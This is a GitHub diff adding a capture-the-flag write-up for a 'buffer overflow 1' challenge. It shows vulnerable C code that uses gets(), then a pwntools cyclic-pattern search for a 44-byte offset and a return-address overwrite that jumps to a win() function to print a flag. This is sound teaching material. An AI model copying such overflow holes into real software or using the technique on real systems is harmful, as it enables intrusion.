You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardexpand all lines: Binary Exploitation/buffer overflow 1/README.md
+131
Original file line number
Diff line number
Diff line change
@@ -13,6 +13,137 @@ Binary Exploitation
13
13
>Make sure you consider Big Endian vs Little Endian.
14
14
15
15
## Solution
16
+
Before looking at the source code, we can run the program first.
17
+
18
+
```
19
+
$ ./vuln
20
+
Please enter your string:
21
+
AAAA
22
+
Okay, time to return... Fingers Crossed... Jumping to 0x80486b3
23
+
```
24
+
25
+
Looks like it takes in an input, and jumps to an address. Let's look at the source code now.
26
+
27
+
```c
28
+
// Imports here...
29
+
#defineBUFSIZE 32
30
+
#define FLAGSIZE 64
31
+
32
+
voidwin() {
33
+
char buf[FLAGSIZE];
34
+
FILE *f = fopen("flag.txt","r");
35
+
// Reading flag file
36
+
printf(buf);
37
+
}
38
+
39
+
voidvuln(){
40
+
char buf[BUFSIZE];
41
+
gets(buf);
42
+
43
+
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
44
+
}
45
+
46
+
intmain(int argc, char **argv){
47
+
// Unimportant stuff
48
+
puts("Please enter your string: ");
49
+
vuln();
50
+
return 0;
51
+
}
52
+
```
53
+
54
+
We can see that the address that it shows us is the return address, which should be the address of _main_. If we do a buffer overflow, we can take control of the return address, and let the program jump to wherever we want.
55
+
56
+
In this case, we would like to jump to the _win_ function, which prints out the flag.
57
+
58
+
Let's try spamming the program again to see if our hunch is correct.
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
65
+
Segmentation fault
66
+
```
67
+
68
+
The return address has been overwritten to _0x41414141_, which is the hex value of _A_. As long as we can find the correct amount of padding, we can control the where the return pointer returns to.
69
+
70
+
We can use the [De Bruijn sequence](https://en.wikipedia.org/wiki/De_Bruijn_sequence), which will find the padding we need. We will use _pwntools_.
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
85
+
Segmentation fault
86
+
```
87
+
88
+
Ok, it jumps to _0x6161616c_. We can use `cyclic_find()` to find the offset. First we convert the hex back into ASCII. Remember that this is in little endian format. `p32()` just converts the hex back into ASCII in little endian format.
89
+
90
+
```python
91
+
>>>from pwn import*
92
+
>>> cyclic_find(p32(0x6161616c))
93
+
44
94
+
```
95
+
96
+
Now we know the amount of padding required. Let's test it again, with 44 'A's, and another 4 'B's. We should expect the address to show _0x41414141_.
97
+
98
+
```
99
+
$ ./vuln
100
+
Please enter your string:
101
+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
102
+
Okay, time to return... Fingers Crossed... Jumping to 0x42424242
103
+
Segmentation fault
104
+
```
105
+
106
+
Just as we expected. All that's left to do is to replace _BBBB_ with the ASCII values that corresponds to the address of the _win_ function.
Of course, we cannot type _\xcb\x85\x04\x08_ in ASCII format, so all we have to do is have Python output this string, and pipe it into the program _vuln_.
0 commit comments